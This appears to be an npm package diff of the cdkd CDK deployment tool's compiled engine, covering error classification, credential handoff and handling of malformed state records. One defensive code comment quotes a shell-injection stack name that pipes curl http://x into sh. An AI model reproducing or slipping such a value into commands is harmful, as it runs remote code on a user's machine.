@go-to-k/cdkd 0.290.17 → 0.290.19

package/dist/{deploy-engine-BYTwDxet.js → deploy-engine-D7mwWwGs.js}

@@ -1,6 +1,6 @@
-import { C as displaySafe, S as displayIdent, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, x as UNRENDERABLE, y as withoutGeneratedFallbackName } from "./logger-C17H06QA.js";
-import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
-import { t as getCdkdVersion } from "./version-CT2xso6V.js";
+import { C as displaySafe, S as displayIdent, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as truncateCodePoints, x as UNRENDERABLE, y as withoutGeneratedFallbackName } from "./logger-C17H06QA.js";
+import { a as setAssumedRoleCredentials, i as getPreAssumeEnvCredentials, n as awsClientDefaults, o as setPreAssumeEnvCredentials, r as getAssumedRoleCredentials, t as SECOND_ROLE_PUBLISH_REFUSAL } from "./aws-client-defaults-BoIxyCir.js";
+import { t as getCdkdVersion } from "./version-BOnyvRN8.js";
 import { AsyncLocalStorage } from "node:async_hooks";
 import { createHash, randomUUID } from "node:crypto";
 import { CreateBucketCommand, DeleteObjectCommand, DeleteObjectsCommand, GetBucketLocationCommand, GetBucketReplicationCommand, GetObjectCommand, HeadBucketCommand, HeadObjectCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchKey, PutBucketEncryptionCommand, PutBucketPolicyCommand, PutObjectCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -306,7 +306,7 @@ const NON_RETRYABLE_MARKER = Symbol.for("cdkd.nonRetryable");
 * the one the code already cites -- a nested-stack failure grows one
 * `ProvisioningError` per level.
 */
-const MAX_CAUSE_CHAIN_DEPTH = 5;
+const MAX_CAUSE_CHAIN_DEPTH$1 = 5;
 /**
 * Stamped on an error whose own message deliberately WITHHOLDS text its
 * `cause` carries (issue [#2302](https://github.com/go-to-k/cdkd/issues/2302)).
@@ -363,7 +363,7 @@ function markRedactedCause(error) {
 */
 function hasRedactedCause(error) {
 	let current = error;
-	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
+	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
 		if (typeof current === "object" || typeof current === "function") {
 			if (current[REDACTED_CAUSE_MARKER] === true) return true;
 		}
@@ -438,7 +438,7 @@ function markNonRetryable(error) {
 */
 function isMarkedNonRetryable(error) {
 	let current = error;
-	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
+	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
 		if (typeof current === "object" || typeof current === "function") {
 			if (current[NON_RETRYABLE_MARKER] === true) return true;
 		}
@@ -462,7 +462,7 @@ function isMarkedNonRetryable(error) {
 */
 function isThrottlingError(error) {
 	let current = error;
-	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
+	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
 		const name = current.name;
 		if (typeof name === "string" && THROTTLING_ERROR_NAMES.has(name)) return true;
 		const status = current.$metadata?.httpStatusCode;
@@ -564,7 +564,7 @@ const TRANSIENT_SERVER_ERROR_STATUS_CODES = /* @__PURE__ */ new Set([
 */
 function isTransientServerError(error) {
 	let current = error;
-	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
+	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
 		const status = current.$metadata?.httpStatusCode;
 		if (status !== void 0 && TRANSIENT_SERVER_ERROR_STATUS_CODES.has(status)) return true;
 		current = current.cause;
@@ -615,7 +615,7 @@ function describeRetryClassificationSignals(error) {
 	let sawMetadata = false;
 	let metadataName;
 	let metadataRequestId;
-	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
+	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
 		const name = current.name;
 		if (depth > 0 && typeof name === "string" && name !== "") deepestName = name;
 		const metadata = current.$metadata;
@@ -727,7 +727,7 @@ function retryClassificationText(error) {
 	const parts = [];
 	const seen = /* @__PURE__ */ new Set();
 	let current = error;
-	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null && !seen.has(current); depth++) {
+	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null && !seen.has(current); depth++) {
 		seen.add(current);
 		if (current instanceof Error) {
 			if (current.message) parts.push(current.message);
@@ -884,7 +884,7 @@ function stringifyForMatch(value) {
 function isNameCollisionErrorFrom(error, logicalId) {
 	if (typeof error === "string") return isNameCollisionError(error);
 	let current = error;
-	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
+	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
 		const link = current;
 		if (typeof link.logicalId === "string" && link.logicalId !== logicalId) return false;
 		if (typeof link.name === "string" && NAME_COLLISION_ERROR_NAMES.has(link.name)) return true;
@@ -1030,7 +1030,7 @@ const CC_UPDATE_UNSUPPORTED_MESSAGE_FALLBACK = "does not support UPDATE";
 */
 function isUpdateUnsupportedError(error, logicalId) {
 	let current = error;
-	for (let depth = 0; current !== null && current !== void 0 && depth < MAX_CAUSE_CHAIN_DEPTH; depth++) {
+	for (let depth = 0; current !== null && current !== void 0 && depth < MAX_CAUSE_CHAIN_DEPTH$1; depth++) {
 		const link = current;
 		if (typeof link.logicalId === "string" && link.logicalId !== logicalId) return false;
 		if (link.name === "UnsupportedActionException") return true;
@@ -1339,6 +1339,45 @@ var CrossAccountSecretRefusalError = class CrossAccountSecretRefusalError extend
 	}
 };
 /**
+* An `Fn::GetStackOutput` whose PRODUCER's state record has no readable
+* `outputs` map (issue [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
+*
+* A SUBCLASS for the same reason {@link CrossAccountSecretRefusalError} is
+* one, and with the same two independent properties.
+* `instanceof IntrinsicResolutionRefusalError` stays true, so `resolveSub`'s
+* catch re-raises it rather than laundering the reference into a literal
+* `${...}` shipped to AWS; and the one consumer that must treat it
+* DIFFERENTLY from its user-fixable siblings matches on THIS class.
+*
+* That consumer is `cdkd scrub`'s cross-stack pre-pass, and the distinction it
+* needs is neither of the two the base class already carries. A sibling
+* refusal makes scrub REFUSE the stack, on the sound argument that the user
+* can fix the cause and re-run. Here the cause is ANOTHER STACK's record,
+* which the user may not own — so refusing would strand THIS stack's own
+* plaintext in `state.json` over a file they cannot repair. Issue
+* [#3192](https://github.com/go-to-k/cdkd/issues/3192) settled that trade one
+* layer down, for the classifier this refusal now runs ahead of
+* (`docs/design/3192-outputs-consumers.md` §6), and the same answer has to
+* hold here or closing the resolver would silently reverse it: scrub records
+* an unverifiable FINDING, scrubs the rest of the stack, does not report it
+* clean, and exits 2.
+*
+* It is NOT `CrossAccountSecretRefusalError`, whose subclass identity means
+* PERMANENT — "no re-run can change this". A damaged record IS repairable;
+* what it is not is repairable by everyone who meets it.
+*
+* `code` is distinct for the reason the sibling's note gives: a consumer
+* keying on `INTRINSIC_RESOLUTION_REFUSAL` would capture every sibling, and
+* one keying on message text breaks the moment the wording improves.
+*/
+var MalformedProducerRecordRefusalError = class MalformedProducerRecordRefusalError extends IntrinsicResolutionRefusalError {
+	constructor(message, cause) {
+		super(message, cause, "INTRINSIC_RESOLUTION_REFUSAL_MALFORMED_PRODUCER_RECORD");
+		this.name = "MalformedProducerRecordRefusalError";
+		Object.setPrototypeOf(this, MalformedProducerRecordRefusalError.prototype);
+	}
+};
+/**
 * A `{{resolve:...}}` reference whose REGION cannot be established (issue
 * [#2134](https://github.com/go-to-k/cdkd/issues/2134)): it names no region,
 * and the stack it sits in is on record as reading across a region boundary.
@@ -1879,8 +1918,11 @@ var AwsClients = class AwsClients {
 	* falls back to the default chain. The same is true of any library caller
 	* that constructs `AwsClients` directly and therefore never runs the CLI's
 	* `preAction` hook. `--role-arn` needs nothing carried at all —
-	* `applyRoleArnIfSet` exports `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` /
-	* `AWS_SESSION_TOKEN` into the process environment.
+	* `applyRoleArnIfSet` publishes the assumed credentials through
+	* `setAssumedRoleCredentials`, so {@link clientOptions}'s
+	* `awsClientDefaults(...)` spread hands them to every client this instance
+	* builds, and a `profile` beside them selects non-credential settings only
+	* (issue [#3130](https://github.com/go-to-k/cdkd/issues/3130)).
 	*
 	* The `credentials` object is CLONED rather than aliased: the returned bag is
 	* handed to every derived sibling, and sharing one mutable object would let a
@@ -7777,24 +7819,125 @@ var DockerAssetPublisher = class {
 
 //#endregion
 //#region src/utils/aws-failure-text.ts
-/** Appended to a redacted summary so the withheld half is still reachable. */
+/**
+* Appended to a redacted summary so the withheld half is still reachable.
+*
+* EXPORTED for the TESTS, and that is now its only reason. It was exported
+* because `cloud-control-provider.ts`'s `abandonWait` reduced on its own wider
+* predicate and had to compose this sentence by hand; issue
+* [#3297](https://github.com/go-to-k/cdkd/issues/3297) removed that predicate
+* and the hand-copy with it, so no `src/` file spells this literal twice. The
+* remaining importer is `cloud-control-wait-abandoned.test.ts`, which asserts
+* the ABSENCE of the pointer and would silently stop discriminating if it
+* hard-coded the words instead.
+*/
 const VERBOSE_POINTER = "Re-run with --verbose for AWS's own message.";
 /**
-* Whether AWS wrote this failure's message.
+* The summary {@link describeAwsFailure} builds for an `Error` it is reducing.
 *
-* Keyed on the marker fields `@aws-sdk/*` errors carry through
-* `@smithy/smithy-client`'s `ServiceException` — `$metadata` on every
-* deserialized error, `$fault` on every modeled one, `$response` where a
-* middleware attached the raw response. Nothing under `src/` sets any of them,
-* so a match cannot be a cdkd-authored error.
+* UN-exported by issue [#3297](https://github.com/go-to-k/cdkd/issues/3297).
+* It was exported for one caller — `cloud-control-provider.ts`, whose own
+* authorship predicate was WIDER than this module's, so the helper handed it
+* raw text for a shape it wanted reduced and it had to build this string
+* itself. That predicate is gone and so is the divergence, leaving the export
+* with no callers and a doc citing one that no longer exists. Keep it private:
+* a re-export is the signal that a second predicate has appeared.
+*/
+function redactedAwsFailureSummary(error) {
+	return `${error.name || "Error"}. ${VERBOSE_POINTER}`;
+}
+/**
+* Whether AWS wrote this failure's message.
 *
-* A transport-level failure (a socket timeout, a DNS error) can reach a caller
-* without `$metadata`, and that is the correct answer rather than a gap: those
+* Keyed on a real SERVICE signal: `$fault`, which every modeled
+* `@smithy/smithy-client` `ServiceException` carries, or a NUMERIC
+* `$metadata.httpStatusCode`, which only a deserialized RESPONSE has. Nothing
+* under `src/` sets either, so a match cannot be a cdkd-authored error.
+*
+* **`$metadata` PRESENCE is deliberately NOT the signal, and an earlier
+* revision of this function used it** (issue
+* [#3297](https://github.com/go-to-k/cdkd/issues/3297)). `@smithy/core`'s retry
+* middleware stamps `$metadata = {attempts, totalRetryDelay}` onto EVERY error
+* it gives up on — socket errors included — and creates the object when it is
+* absent. Measured against a real `CloudControlClient` pointed at a closed
+* port:
+*
+*     name 'Error', code 'ECONNREFUSED', $fault undefined,
+*     message 'connect ECONNREFUSED 127.0.0.1:1',
+*     $metadata { attempts: 3, totalRetryDelay: 58 }
+*
+* So the old predicate classified a plain transport failure as AWS-authored and
+* reduced it to its `name` — which for a socket error is the bare token
+* `Error`, carrying no diagnosis at all. That deleted `connect ECONNREFUSED
+* <ip>:443`, the exact wording issue
+* [#3236](https://github.com/go-to-k/cdkd/issues/3236) was REPORTED with, from
+* the only durable record of the outage.
+*
+* The `CredentialsProviderError` name is the third arm because credential
+* resolution carries NEITHER signal — identity is resolved by
+* `httpAuthSchemeMiddleware` at step `serialize`, which WRAPS retry's
+* `finalizeRequest`, so an escaping credential error never enters retry's catch
+* (measured, and the mechanism is why: retry CREATES `$metadata` when absent,
+* so an error arriving without one proves it bypassed retry). It is also the
+* shape whose message carries the most: `@aws-sdk/credential-provider-process`
+* wraps EVERY exec failure in it, so the text interpolates the helper's ARGV
+* and its stderr.
+*
+* **Its siblings are deliberately NOT matched, and the reasons differ per class
+* rather than being one rule.** `@smithy/property-provider` exports a family of
+* three — `ProviderError`, and its subclasses `CredentialsProviderError` and
+* `TokenProviderError` — plus `@smithy/credential-provider-imds`'s
+* `InstanceMetadataV1FallbackError`, the only subclass OF
+* `CredentialsProviderError` in the installed tree. (All four set `name`; an
+* earlier revision read "the only subclass that overrides `name`", which is
+* false of the three siblings.) Each was read rather than reasoned about,
+* because the answers go BOTH ways:
+*
+*  - `TokenProviderError` must NOT be reduced. Its message IS the remedy —
+*    `Token is expired. To refresh this SSO session run 'aws sso login' with
+*    the corresponding profile.` — so reducing it to a wire name would delete
+*    the fix instruction. A revision matching the whole `*ProviderError` suffix
+*    did exactly that. The benefit is not realized on the Cloud Control poll
+*    path today, and claiming otherwise was measured false:
+*    `@aws-sdk/credential-provider-sso` catches every token failure and
+*    rethrows it as a `CredentialsProviderError`, so the shape cannot escape a
+*    SigV4 client there. The carve-out is a rule about the FAMILY, kept because
+*    the rewrap is upstream behaviour that can change.
+*  - `ProviderError` (the base) and `InstanceMetadataV1FallbackError` carry
+*    connectivity and CONFIG wording respectively — the IMDS one interpolates
+*    three fixed literals naming config keys, with no argv, stderr, profile
+*    value or identity in it. Both are more useful raw.
+*
+* So string EQUALITY is right here, and right by enumeration rather than by
+* assumption. Re-check the list when the SDK major moves; do not widen it to a
+* suffix. The specific mechanism to re-check is `ProviderError.from()`, which
+* does `Object.assign(new this(...), error)` — that copies a SOURCE error's own
+* `name` over the class field and would defeat string equality outright. It has
+* ZERO call sites anywhere in `node_modules` today, which is the only reason
+* equality is safe rather than merely correct-looking.
+*
+* `$response` is gone with the `$metadata` disjunct, and the reason is NOT the
+* obvious one -- an earlier revision of this comment said it "is only ever set
+* on a `ServiceException`, which carries `$fault` anyway", and review measured
+* that false. `@smithy/core`'s `deserializerMiddleware` stamps `$response` on
+* ANY error escaping the deserializer, and the very next line reads
+* `if (!("$metadata" in error))`, i.e. the library explicitly handles the
+* `$response`-without-`$metadata` shape (a `JSON.parse` `SyntaxError` out of
+* `parseJsonBody`). What actually preserves the verdict is the SIBLING line in
+* that same catch: `error.$metadata = { httpStatusCode: response.statusCode,
+* ... }`, so the `httpStatusCode` disjunct subsumes `$response` for every
+* response the middleware can read. The residual is a `response` failing
+* `HttpResponse.isInstance`, or a throw inside that block's own
+* `catch (ignored)` -- shapes with no HTTP status at all, which are not service
+* rejections and should not be reduced.
+*
+* A transport-level failure (a socket timeout, a DNS error) reaches a caller
+* with neither signal, and that is the correct answer rather than a gap: those
 * messages are written by the HTTP layer and name a host, never a caller.
 */
 function isAwsAuthoredFailure(error) {
 	const candidate = error;
-	return candidate.$metadata !== void 0 || candidate.$fault !== void 0 || candidate.$response !== void 0;
+	return candidate.$fault !== void 0 || typeof candidate.$metadata?.httpStatusCode === "number" || error.name === "CredentialsProviderError";
 }
 /**
 * Describe a caught failure for a thrown message. See {@link AwsFailureText}.
@@ -7807,14 +7950,20 @@ function describeAwsFailure(error) {
 			redacted: false
 		};
 		return {
-			summary: `${error.name || "Error"}. ${VERBOSE_POINTER}`,
+			summary: redactedAwsFailureSummary(error),
 			detail: error.message,
 			redacted: true
 		};
 	}
+	let detail;
+	try {
+		detail = String(error);
+	} catch {
+		detail = "a value that could not be converted to text";
+	}
 	return {
 		summary: `a non-Error value of type ${typeof error}. ${VERBOSE_POINTER}`,
-		detail: String(error),
+		detail,
 		redacted: true
 	};
 }
@@ -20378,6 +20527,833 @@ function findUnrecognizedProperties(resourceType, templateProperties) {
 	return unrecognized.sort((a, b) => a.localeCompare(b));
 }
 
+//#endregion
+//#region src/state/malformed-resources-bag.ts
+/** The error code every malformed-record refusal carries, whatever its class. */
+const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
+/**
+* Answer the ONE question both helpers below key on: can this record's
+* resource map be read at all?
+*
+* Widened past `null` / `undefined` because the message says "no readable
+* resources map" and a hand-edited record does not stop at those two: a
+* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
+* empty or, for the string, absurd — repaired silently and warned about
+* nowhere. The predicate is the plain-object test the bag's own type implies.
+*/
+function hasReadableResources(state) {
+	return isReadableBag(state.resources);
+}
+/**
+* The same question for the `outputs` bag — and it is a SEPARATE predicate
+* rather than a second argument to the one above because the ABSENCE rule
+* differs, which is the split {@link isReadableBag}'s own note calls a
+* per-container call.
+*
+* An absent `outputs` bag is an ordinary record, not a defect: `cdkd scrub`
+* round-trips one deliberately rather than materializing `{}` over it, and the
+* deploy's failure-path saves write `outputs: currentState.outputs`, which
+* `JSON.stringify` drops when it is `undefined`. So `undefined` is EXEMPT here
+* while it is a defect for `resources`. `null` is NOT exempt — it is a value a
+* hand-edited record carries and every consumer either throws on it or
+* launders it into `{}`.
+*
+* Both {@link repairMalformedOutputsForReadOnly} and
+* {@link refuseMalformedOutputs} delegate to this, so the read-only and the
+* write-capable halves cannot come to different verdicts about the same record.
+*/
+function hasReadableOutputs(state) {
+	return state.outputs === void 0 || isReadableBag(state.outputs);
+}
+/**
+* The shared explanation, in the terms the reader needs: what is wrong, what
+* to look at, and what NOT to do next.
+*
+* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
+* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
+* `.claude/rules/layout-state-types.md` require of any suggestion a user is
+* meant to paste, for two separate reasons.
+*
+* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
+* printable-ASCII allowlist, so it removes the line- and escape-forgery class
+* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
+* trusted here, since a stack name reaches the cross-stack read path from an
+* `Fn::GetStackOutput` argument or an S3 key. A name spelled
+* `a'; curl http://x|sh; echo '` would close the quoting and append its own
+* command to the line this text tells the user to RUN.
+*
+* Wrapping the command in `'...'` is not enough either, and is what makes the
+* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
+* produces something unpastable. Hence unwrapped and last.
+*
+* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
+* nothing — an empty argument makes `--stack-region` swallow the next flag,
+* turning a remedy into a differently-broken command.
+*
+* MODULE-PRIVATE, and it stayed that way after go-to-k/cdkd#3206's review
+* considered exporting it. `cdkd scrub`'s audited-record refusal needed the
+* same three properties (sanitize, cap, `UNRENDERABLE` on empty) plus a
+* BOUNDARY, because its names go into a comma-joined list where a name
+* containing the delimiter forges an entry. `displayIdent` has all four —
+* JSON-quoting escapes the delimiter it adds — so that caller uses it and this
+* stays private. The pair here is not duplicated: what differs is the
+* `shellQuote` composition every message in THIS module needs and that one
+* must not have.
+*/
+function safeIdentifier(value) {
+	const safe = displaySafe(value, { asciiOnly: true });
+	if (!safe) return UNRENDERABLE;
+	const { text, truncated } = truncateCodePoints(safe, 128);
+	return truncated ? `${text}...` : text;
+}
+function malformedStateDetail(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* For a READ-ONLY command: give the record an empty resource bag so the
+* command can report on it, and say so (issue go-to-k/cdkd#3018).
+*
+* `parseStateBody` deliberately does not validate the inner shape, so a
+* hand-edited or truncated record reaches a command with `resources` absent,
+* `null`, or some other non-object. Every such command then died on a raw
+* `TypeError` from the first `Object.keys` / `in` / index read — the exact
+* wording differs per shape (`Cannot convert undefined or null to object`,
+* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
+* them names a stack, a key or a remedy, from exactly the commands a user
+* reaches for WHEN the state is broken.
+*
+* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
+* the twelve `Object.entries(state.resources)` loops, which was inert: every
+* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
+* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
+* happened one line up and the guards only made it look handled. One call per
+* load dominates the whole flow behind it, including the helpers that take the
+* state as a parameter (`orphan-rewriter`, `diff-calculator`,
+* `collectCcApiRoutes`).
+*
+* Mutates in place and returns whether it repaired anything; the caller warns
+* on `true`. A silent repair is its own defect — an empty resource set is
+* indistinguishable from a healthy empty stack in every later line of output,
+* so `No changes detected` over an unreadable record is a clean verdict about
+* nothing.
+*
+* **Only for a command that cannot WRITE state.** Anything that can persist
+* uses {@link refuseMalformedState} instead; see its note.
+*/
+function repairMalformedResourcesForReadOnly(state) {
+	if (hasReadableResources(state)) return false;
+	state.resources = {};
+	return true;
+}
+/**
+* The refusal TEXT, for a command whose own exit-code contract means this
+* cannot be a plain `CdkdError`.
+*
+* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
+* plaintext") and every one of its refusals carries `exitCode = 2`, because a
+* CI gate reading the code alone must be able to tell "scrub looked and found
+* a leak" from "scrub refused to look" — the two call for opposite responses.
+* So scrub tests {@link hasReadableResources} and raises its own class around
+* this text rather than calling {@link refuseMalformedState}.
+*
+* The other three refusing commands do NOT share that need, and giving them a
+* single shared code would be wrong in the other direction: `cdkd rollback`
+* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
+* would tell an operator to re-run a command that attempted nothing.
+*/
+function malformedStateRefusalMessage(stackName, region) {
+	return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
+}
+/**
+* The warning a view emits when it emptied one or more {@link
+* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
+*
+* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
+* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
+* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
+* from an empty stack: deploy would re-CREATE everything and destroy would
+* delete nothing. No container named here can produce that specific confusion —
+* the resource SET is still readable — so borrowing that sentence would attach
+* a re-create-the-world warning to a record whose resource list is intact.
+*
+* It is NOT that these containers are display-only. `properties` is read by the
+* deploy change calculation (`src/analyzer/diff-calculator.ts`), where a
+* non-object compares unequal to any
+* desired object and yields a spurious property-change set — measured there as
+* a REPLACEMENT of the live resource, and closed by
+* {@link refuseMalformedResourceProperties} (go-to-k/cdkd#3191). An earlier
+* revision of this comment asserted the display-only premise, which would have
+* read as licence to drop a guard on that path (review of go-to-k/cdkd#3190).
+* That the path is now guarded does not restore the premise: this text is still
+* not the one to borrow, because the deploy path REFUSES where these views
+* continue.
+*
+* What stays the same is the remedy: `--json` is the mode that shows the
+* stored value.
+*
+* ONE warning per record however many containers it names — a stack whose 500
+* resources all carry a hand-edited `properties` gets one line, not 500. The
+* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
+* stable across records. Not `.sort()` — that order is deliberately not
+* alphabetical, and its own JSDoc says so.
+*
+* Both identifiers are sanitized and then shell-quoted, and the command is
+* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
+* gives.
+*
+* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
+* they cannot drift from it — but NOT `shellQuote`, because they appear in the
+* PROSE and never inside the command this text tells the reader to run; the
+* command carries the two identifiers and nothing else.
+*
+* Sanitizing them is not dead code written for a case that cannot happen. The
+* union above is closed at COMPILE time, so without this the guarantee would
+* live in a comment, and the day a caller derives a name from a record instead
+* of from a literal an unsanitized element could forge a line, render as empty
+* quotes naming nothing, or run to kilobytes and push the remedy command off
+* the reader's screen. `safeIdentifier` closes all three and is the identity on
+* all four literals, so no user-visible text moves.
+*
+* What it does NOT close, stated rather than reassured away: a forged name made
+* only of printable ASCII still renders verbatim inside its quotes and could
+* read as prose. That residual is bounded to the PROSE — the command the reader
+* pastes is built from the two shell-quoted identifiers alone — and closing it
+* would mean JSON-quoting a name in the one place the text is meant to read as
+* English (review of go-to-k/cdkd#3190).
+*/
+function malformedRenderedContainersWarning(stackName, region, containers) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
+function malformedResourcesWarning(stackName, region) {
+	return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
+}
+/**
+* The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
+* READ-ONLY command that DIFFS the stored bag rather than rendering it
+* (go-to-k/cdkd#3189).
+*
+* `computeOutputsDiff` enumerates the stored bag twice, the second walk
+* emitting one `REMOVE` row per stored key today's template no longer declares.
+* It used to admit the bag on a bare `?? {}`, which covers `null` and
+* `undefined` only — so a hand-edited or truncated record whose `outputs` holds
+* a string or a list previewed the REMOVAL of outputs that never existed, one
+* row per character or element, each carrying a character of the record as its
+* `old:` side, with `cdkd diff --fail` exiting 1 on them.
+*
+* AT THE LOAD, for the reason
+* {@link repairMalformedResourcesForReadOnly}'s own note records and one more
+* that is specific to this container: `cdkd diff` dereferences the stored bag
+* BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
+* `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
+* skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
+* verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
+* outright on `null` (`Cannot convert undefined or null to object`). So a guard
+* written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
+* `TypeError`, one call above it.
+*
+* ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
+* {@link isReadableBag}'s verdict, and the split is measured rather than
+* stylistic. Both stored-bag lookups named above gate on
+* `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
+* bag never reaches one; every other consumer on the diff path carries its own
+* `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
+* function's own walk). An absent bag is therefore inert, exactly the condition
+* under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
+* would be a false positive on a record cdkd itself supports: `cdkd scrub`
+* round-trips a record with no `outputs` deliberately, refusing to materialize
+* `{}` over it, and the deploy's failure-path saves write
+* `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
+* undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
+* `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
+* like any other unreadable shape.
+*
+* That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
+* purpose: it asked that a `null` bag "diff exactly as it does today and say
+* nothing", and diffing exactly as it does today means THROWING. Recorded on
+* the issue rather than silently traded.
+*
+* Mutates in place and returns whether it repaired anything; the caller warns
+* on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
+* the reason {@link refuseMalformedState} gives — a bag laundered into a
+* well-formed empty one is permanent, and for `outputs` it would also take the
+* exports index with it on the next write.
+*/
+function repairMalformedOutputsForReadOnly(state) {
+	if (hasReadableOutputs(state)) return false;
+	state.outputs = {};
+	return true;
+}
+/**
+* The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
+*
+* Deliberately neither {@link malformedResourcesWarning}'s text nor
+* {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
+* continuing empty differs from both. The resources text forbids
+* `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
+* indistinguishable from an empty stack; the resource set is intact here. The
+* rendered-containers text says the view "shows no rows there" — true of a
+* renderer, false of a diff, which does not go quiet on an empty stored bag but
+* reports every resolved output as an `ADD`. Saying so is the point: an
+* operator who reads `ADD` rows for outputs the stack already has needs to know
+* the comparison lost its left-hand side.
+*
+* Identifiers are sanitized and then shell-quoted and the command is emitted
+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedOutputsWarning(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* For a command that can WRITE state: refuse the record by name instead of
+* repairing it.
+*
+* Repairing is actively DANGEROUS here, and the PR that introduced this module
+* shipped that danger for one round before its security review caught it.
+* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
